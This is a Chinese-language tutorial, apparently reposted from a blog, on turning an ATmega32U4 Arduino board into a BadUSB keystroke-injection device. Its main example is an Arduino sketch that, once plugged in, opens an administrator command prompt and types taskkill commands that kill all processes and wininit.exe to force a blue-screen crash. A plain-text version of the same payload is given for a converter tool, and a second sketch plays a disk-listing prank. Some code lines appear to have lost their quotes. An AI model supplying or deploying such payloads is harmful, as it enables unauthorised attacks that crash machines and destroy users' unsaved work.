BadUSB制作教程_BadUSB简单示例(初学)_程序编写工具

说明

本文章仅供学习交流,请勿用于非法用途

我用的是CJMCU-Beetle arduino Leonardo USB ATMEGA32U4 Mini Size Development Board

程序编写工具 (使用教程在下面)

官网购买地址

软件-Arduino

Kali下自带 Windows下 官网下载地址

开始制作

打开Arduino 在工具中择开发板 ‘Arduino Leonardo’ 然后选择端口 然后就可以编写程序了

接下来是一些示例

1.蓝屏

#include <Keyboard.h>
void setup() {
          
   
	Keyboard.begin();   //开始
	delay(2000);   //等待两秒
	Keyboard.press(KEY_LEFT_CTRL);   //按下左边的Ctrl键
	Keyboard.press(KEY_LEFT_SHIFT);   //按下左边的Shift键
	Keyboard.press(KEY_ESC);   //按下ESC键
	Keyboard.releaseAll();   //松开所有按下的键(Ctrl,Shift,ESC)
	//以上代码执行结果: 打开任务管理器
	delay(500);   //等待0.5秒 作用: 等待任务管理器启动
	Keyboard.press(KEY_LEFT_ALT);   //按下左边的Alt键
	Keyboard.press(f);   //按下f键
	Keyboard.release(f);   //松开f键
	Keyboard.press(n);   //按下n键
	Keyboard.releaseAll();   //松开所有(n,Alt)
	delay(500);  //等待0.5秒 作用: 等待运行的启动
	Keyboard.press(KEY_TAB);   //按下Tab键
	Keyboard.release(KEY_TAB);   //松开Tab键
	Keyboard.press( );   //按下空格键
	Keyboard.release( );   //松开空格键
	//以上代码执行结果: 打开任务管理器中文件->运行新任务->勾选以管理员权限创建此任务
	//(提示: 如果觉得很迷惑,按上面代码自己操作一下就明白了)
	Keyboard.press(KEY_CAPS_LOCK);
	Keyboard.release(KEY_CAPS_LOCK);   //利用CapsLock绕过输入法
	Keyboard.println("cmd");   //在运行中输入cmd,由于按下了CapsLock所以实际上输入的是CMD
	delay(500);  //等待0.5秒 作用: 等待cmd的启动
	Keyboard.println("taskkill /f /fi "pid ne 1"");   //在cmd中输入蓝屏指令
	Keyboard.println("taskkill /f /im wininit.exe");   //指令2(其实一个就够了)
	Keyboard.press(KEY_CAPS_LOCK);
	Keyboard.release(KEY_CAPS_LOCK);
	Keyboard.end();   //结束
}

void loop() {
          
   
  // put your main code here, to run repeatedly:
}

2.dir/s和tree C:(一个很酷炫的东西) 加上LED闪烁

#include <Keyboard.h>
void setup() {
          
   
  pinMode(13, OUTPUT);   //这行加上void loop()下面都是LED闪烁
  Keyboard.begin();
  delay(2000);
  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press(r);
  Keyboard.releaseAll();
  //以上三行: 打开运行
  delay(500);
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  Keyboard.println("cmd");
  delay(500);
  Keyboard.press(KEY_F11);
  Keyboard.release(KEY_F11);
  //以上两行: 全屏(Win10有效)
  Keyboard.println("color 4");
  Keyboard.println("dir/s");
  Keyboard.println("tree d:");
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  Keyboard.end();
}

void loop() {
          
   
  digitalWrite(13, HIGH);
  delay(300);   //点亮时间
  digitalWrite(13, LOW);
  delay(300);  //熄灭时间
}

写入到BadUSB

点击有向左箭头的按钮即可写入 看到上传成功字样就大功告成了! 注意: 上传后BadUSB会立即执行一遍代码

编写工具使用教程

工具下载地址在文章开头

拿前面的蓝屏的示例来说: 只需在一个名为file.txt的文本文档中输入:

2000
=lc
=ls
=esc
--
500
=la
=f
-f
=n
--
500
=tab
= 
- 
=clk
-clk
cmd
500
taskkill /f /fi "pid ne 1"
taskkill /f /im wininit.exe
=clk
-clk

总结:

= 【+要按下的键】
- 【+要松开的键】
-- 松开全部
 【+等待时间】
直接输的话是输入

按键列表(一般都是开头字母除非只有一个单词如enter):
lc:LEFT_CTRL
ls:LEFT_SHIFT
la:LEFT_ALT
rcl:RIGHT_CTRL
rs:RIGHT_SHIFT
ra:RIGHT_ALT
clk:CAPS_LOCK
tab:TAB
bs:BACKSPACE
lwin:LEFT_GUI
rwin:RIGHT_GUI
esc:ESC
enter:RETURN  //return就是enter
del:DELETE

编写完成后,将工具与file.txt放在同一目录下,运行工具,生成的file.ino就是可运行的badusb程序,如果没有的话刷新一下就好了

经验分享 程序员 微信小程序 职场和发展